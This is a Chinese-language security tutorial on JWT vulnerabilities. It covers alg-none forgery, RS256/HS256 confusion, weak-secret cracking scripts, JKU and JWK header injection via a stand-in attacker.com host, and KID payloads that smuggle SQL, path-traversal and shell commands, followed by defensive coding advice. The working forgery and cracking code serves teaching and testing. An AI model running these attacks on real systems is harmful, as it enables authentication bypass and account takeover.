JWT Token 安全漏洞與攻擊

JWT Token Security Vulnerabilities and Attacks

JSON Web Token(JWT)是現代 Web 應用程式中廣泛使用的身份驗證機制。然而,不當的實作可能導致嚴重的安全漏洞。本文將深入探討 JWT 的常見攻擊手法與防護措施。

JWT 結構與運作原理

JWT 由三個部分組成,以點(.)分隔:

1
Header.Payload.Signature

Header(標頭)

Header 通常包含兩個部分:token 類型(typ)和簽名演算法(alg)。

1
2
3
4
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload(負載)

Payload 包含聲明(claims),分為三種類型:

  • Registered claims:預定義的聲明,如 iss(發行者)、exp(過期時間)、sub(主題)、aud(受眾)
  • Public claims:自定義的公開聲明
  • Private claims:自定義的私有聲明
1
2
3
4
5
6
7
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1516239022,
  "exp": 1516242622
}

Signature(簽名)

簽名用於驗證訊息的完整性。以 HMAC SHA256 為例:

1
2
3
4
5
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

JWT 完整範例

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.POstGetfAytaZS82wHcjoTyoqhMyxXiWdR7Nn7A29ck

Algorithm None 攻擊

漏洞原理

某些 JWT 函式庫支援 alg: none,這意味著 token 不需要簽名驗證。攻擊者可以偽造任意 token 來繞過身份驗證。

攻擊步驟

  1. 解碼原始 JWT
1
2
3
4
5
6
# 原始 token
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# 解碼 header
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# 輸出: {"alg":"HS256","typ":"JWT"}
  1. 修改 Header 為 none
1
2
3
4
{
  "alg": "none",
  "typ": "JWT"
}
  1. 修改 Payload(例如提權為 admin)
1
2
3
4
5
{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "admin"
}
  1. 建構惡意 Token
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 編碼新的 header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# 輸出: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# 編碼新的 payload
echo -n '{"sub":"1234567890","name":"John Doe","role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# 輸出: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0

# 組合惡意 token(注意末尾的點,簽名為空)
MALICIOUS_TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0."

變體攻擊

某些函式庫對 none 的檢查可能不夠嚴謹,可嘗試以下變體:

1
2
3
"alg": "None"
"alg": "NONE"
"alg": "nOnE"

Algorithm Confusion(RS256 to HS256)

漏洞原理

當伺服器使用 RS256(非對稱加密)時,會用私鑰簽名、公鑰驗證。如果伺服器存在演算法混淆漏洞,攻擊者可以:

  1. 取得伺服器的公鑰
  2. 將演算法從 RS256 改為 HS256
  3. 使用公鑰作為 HMAC 的密鑰簽名

由於伺服器可能使用相同的密鑰變數進行驗證,它會錯誤地將公鑰當作 HMAC 密鑰來驗證簽名。

攻擊步驟

  1. 取得伺服器公鑰

公鑰通常可以從以下位置取得:

1
2
3
4
# 常見的公鑰端點
curl https://target.com/.well-known/jwks.json
curl https://target.com/api/keys
curl https://target.com/oauth/jwks
  1. 將 JWK 轉換為 PEM 格式
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from jwcrypto import jwk

# JWK 公鑰
jwk_key = {
    "kty": "RSA",
    "n": "公鑰的 n 值",
    "e": "AQAB"
}

key = jwk.JWK(**jwk_key)
pem = key.export_to_pem()
print(pem.decode())
  1. 使用公鑰簽名惡意 Token
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt
import base64

# 讀取公鑰
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# 構造惡意 payload
payload = {
    "sub": "1234567890",
    "name": "John Doe",
    "role": "admin"
}

# 使用公鑰作為 HS256 的密鑰簽名
malicious_token = jwt.encode(
    payload,
    public_key,
    algorithm='HS256'
)

print(malicious_token)

使用 jwt_tool 進行攻擊

1
2
# 自動化攻擊
python3 jwt_tool.py <JWT> -X k -pk public_key.pem

弱密鑰暴力破解

漏洞原理

當使用 HS256 等對稱加密演算法時,如果密鑰過於簡單(如常見字詞、短字串),攻擊者可以透過暴力破解取得密鑰。

使用 jwt-cracker

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 安裝
npm install -g jwt-cracker

# 破解
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" "abcdefghijklmnopqrstuvwxyz" 6

# 參數說明:
# - 第一個參數:要破解的 JWT
# - 第二個參數:字元集
# - 第三個參數:最大長度

使用 hashcat

1
2
3
4
5
6
7
8
# 提取 JWT 的 hash 格式
# JWT 格式:header.payload.signature

# 使用 hashcat 破解
hashcat -m 16500 jwt.txt wordlist.txt

# 使用規則
hashcat -m 16500 jwt.txt wordlist.txt -r rules/best64.rule

使用 jwt_tool 字典攻擊

1
2
3
4
5
6
7
8
9
# 字典攻擊
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt

# 常見弱密鑰
# secret
# password
# 123456
# jwt_secret
# changeme

Python 暴力破解腳本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import itertools
import string

def crack_jwt(token, charset, max_length):
    for length in range(1, max_length + 1):
        for guess in itertools.product(charset, repeat=length):
            secret = ''.join(guess)
            try:
                jwt.decode(token, secret, algorithms=['HS256'])
                return secret
            except jwt.InvalidSignatureError:
                continue
    return None

# 使用範例
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
secret = crack_jwt(token, string.ascii_lowercase, 6)
if secret:
    print(f"Found secret: {secret}")

JWT 注入與 Header 攻擊

JKU(JSON Web Key Set URL)注入

漏洞原理

jku header 參數指定了用於驗證簽名的公鑰 URL。如果伺服器未正確驗證此 URL,攻擊者可以指向自己的伺服器。

攻擊步驟

  1. 生成攻擊者的密鑰對
1
2
3
# 生成 RSA 密鑰對
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
  1. 建立惡意 JWKS
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "attacker-key-1",
      "use": "sig",
      "n": "攻擊者公鑰的 n 值",
      "e": "AQAB"
    }
  ]
}
  1. 構造惡意 Token
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import jwt

header = {
    "alg": "RS256",
    "typ": "JWT",
    "jku": "https://attacker.com/.well-known/jwks.json",
    "kid": "attacker-key-1"
}

payload = {
    "sub": "admin",
    "role": "admin"
}

with open('attacker_private.pem', 'r') as f:
    private_key = f.read()

token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)

JWK(JSON Web Key)嵌入攻擊

漏洞原理

某些實作允許在 JWT header 中直接嵌入公鑰(jwk 參數)。攻擊者可以嵌入自己的公鑰並用對應的私鑰簽名。

1
2
3
4
5
6
7
8
9
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "攻擊者的公鑰 n",
    "e": "AQAB"
  }
}

KID(Key ID)注入

SQL 注入

1
2
3
4
5
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' UNION SELECT 'secret' -- "
}

路徑遍歷

1
2
3
4
5
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../etc/passwd"
}

如果伺服器使用檔案內容作為密鑰,攻擊者可以使用已知內容的檔案。

命令注入

1
2
3
4
5
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1|whoami"
}

過期時間繞過

漏洞原理

某些實作可能不正確驗證 exp(過期時間)聲明,或允許繞過。

攻擊方法

1. 移除 exp 聲明

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import jwt
import base64
import json

# 解碼 token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiZXhwIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

# 移除 exp
if 'exp' in payload:
    del payload['exp']

# 如果知道密鑰,重新簽名
new_token = jwt.encode(payload, 'secret', algorithm='HS256')

2. 設定極大的過期時間

1
2
3
4
5
payload = {
    "sub": "1234567890",
    "name": "John Doe",
    "exp": 9999999999  # 2286 年
}

3. 使用負數或零

1
2
3
4
payload = {
    "sub": "1234567890",
    "exp": 0
}

NBF(Not Before)繞過

類似地,nbf 聲明也可能被繞過:

1
2
3
4
5
payload = {
    "sub": "1234567890",
    "nbf": 0,  # 設為過去的時間
    "exp": 9999999999
}

測試工具

jwt_tool

jwt_tool 是一個功能強大的 JWT 測試工具,支援多種攻擊向量。

安裝

1
2
3
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt

基本用法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 解碼並顯示 token
python3 jwt_tool.py <JWT>

# 篡改 payload
python3 jwt_tool.py <JWT> -T

# Algorithm None 攻擊
python3 jwt_tool.py <JWT> -X a

# 密鑰爆破
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# 演算法混淆攻擊
python3 jwt_tool.py <JWT> -X k -pk public_key.pem

# JKU 注入
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json"

# 嵌入 JWK
python3 jwt_tool.py <JWT> -X i

# KID 注入
python3 jwt_tool.py <JWT> -X k -pk /dev/null

# 完整掃描
python3 jwt_tool.py <JWT> -M at -t "https://target.com/api/endpoint" -rh "Authorization: Bearer"

進階選項

1
2
3
4
5
6
7
8
# 指定簽名密鑰
python3 jwt_tool.py <JWT> -S hs256 -p "secret"

# 修改特定聲明
python3 jwt_tool.py <JWT> -I -pc "role" -pv "admin"

# 使用代理
python3 jwt_tool.py <JWT> -M at -t "https://target.com" -np http://127.0.0.1:8080

jwt-cracker

專門用於暴力破解 JWT 密鑰的工具。

安裝

1
npm install -g jwt-cracker

使用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 基本用法
jwt-cracker <token> [alphabet] [max-length]

# 範例:使用小寫字母,最大長度 6
jwt-cracker "eyJhbGc..." "abcdefghijklmnopqrstuvwxyz" 6

# 範例:使用數字
jwt-cracker "eyJhbGc..." "0123456789" 8

# 範例:完整字元集
jwt-cracker "eyJhbGc..." "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 6

線上工具

  • jwt.io:JWT 編碼/解碼與驗證
  • token.dev:JWT 分析與測試

Burp Suite 擴充套件

1
2
# JSON Web Tokens (JWT4B)
# 可在 BApp Store 中安裝

安全實作建議

1. 使用強密鑰

1
2
3
4
5
6
7
import secrets

# 生成安全的隨機密鑰(至少 256 位元)
secret_key = secrets.token_hex(32)  # 64 字元的十六進位字串

# 對於 RSA,使用至少 2048 位元
openssl genrsa -out private_key.pem 4096

2. 強制驗證演算法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import jwt

# 不要這樣做 - 容易受到演算法混淆攻擊
# decoded = jwt.decode(token, key)

# 正確做法 - 明確指定允許的演算法
decoded = jwt.decode(
    token,
    key,
    algorithms=['RS256']  # 只允許特定演算法
)

3. 驗證所有聲明

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import jwt
from datetime import datetime, timezone

decoded = jwt.decode(
    token,
    key,
    algorithms=['RS256'],
    options={
        'require': ['exp', 'iat', 'iss', 'sub'],  # 要求必須存在的聲明
        'verify_exp': True,
        'verify_iat': True,
        'verify_nbf': True
    },
    issuer='https://your-domain.com',  # 驗證發行者
    audience='your-audience'           # 驗證受眾
)

4. 設定適當的過期時間

1
2
3
4
5
6
7
8
from datetime import datetime, timedelta, timezone

payload = {
    'sub': user_id,
    'iat': datetime.now(timezone.utc),
    'exp': datetime.now(timezone.utc) + timedelta(hours=1),  # 短期有效
    'jti': str(uuid.uuid4())  # 唯一識別符,防止重放
}

5. 安全的 Header 處理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 不要信任 header 中的任何 URL(jku, x5u)
# 使用預設的本地密鑰

# 如果必須使用 jku,驗證 URL 白名單
ALLOWED_JKU_HOSTS = ['auth.your-domain.com']

def validate_jku(jku_url):
    from urllib.parse import urlparse
    parsed = urlparse(jku_url)
    if parsed.hostname not in ALLOWED_JKU_HOSTS:
        raise ValueError("Invalid JKU host")
    if parsed.scheme != 'https':
        raise ValueError("JKU must use HTTPS")

6. 使用適當的函式庫

1
2
3
4
5
6
7
# Python - PyJWT(確保使用最新版本)
pip install PyJWT>=2.0.0

# Node.js - jose
npm install jose

# 避免使用已知有漏洞的函式庫版本

7. 實施 Token 撤銷機制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import redis

# 使用 Redis 儲存已撤銷的 token
redis_client = redis.Redis(host='localhost', port=6379, db=0)

def revoke_token(jti, exp):
    """撤銷 token"""
    ttl = exp - datetime.now(timezone.utc).timestamp()
    if ttl > 0:
        redis_client.setex(f"revoked:{jti}", int(ttl), "1")

def is_token_revoked(jti):
    """檢查 token 是否已被撤銷"""
    return redis_client.exists(f"revoked:{jti}")

8. 安全的錯誤處理

1
2
3
4
5
6
7
8
9
import jwt

try:
    decoded = jwt.decode(token, key, algorithms=['RS256'])
except jwt.ExpiredSignatureError:
    # 不要洩露具體錯誤訊息
    return {"error": "Token is invalid"}, 401
except jwt.InvalidTokenError:
    return {"error": "Token is invalid"}, 401

9. 使用 HTTPS

確保所有包含 JWT 的請求都通過 HTTPS 傳輸,防止中間人攻擊。

10. 考慮使用 JWE(JSON Web Encryption)

對於敏感資料,使用 JWE 進行加密:

1
2
3
4
5
6
7
8
9
from jose import jwe

# 加密 token
encrypted = jwe.encrypt(
    payload.encode(),
    key,
    algorithm='RSA-OAEP-256',
    encryption='A256GCM'
)

總結

JWT 安全性取決於正確的實作。主要防護重點:

攻擊類型防護措施
Algorithm None明確指定允許的演算法,禁用 none
Algorithm Confusion分開管理對稱/非對稱密鑰,驗證演算法類型
弱密鑰破解使用強隨機密鑰(>256 位元)
Header 注入不信任 header 中的 URL,驗證白名單
過期時間繞過強制驗證 exp,使用短期 token

進行安全測試時,建議使用 jwt_tool 進行全面的漏洞掃描,並結合手動測試驗證結果。在開發階段,遵循安全編碼實踐,選擇成熟的 JWT 函式庫,並保持更新以修補已知漏洞。

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy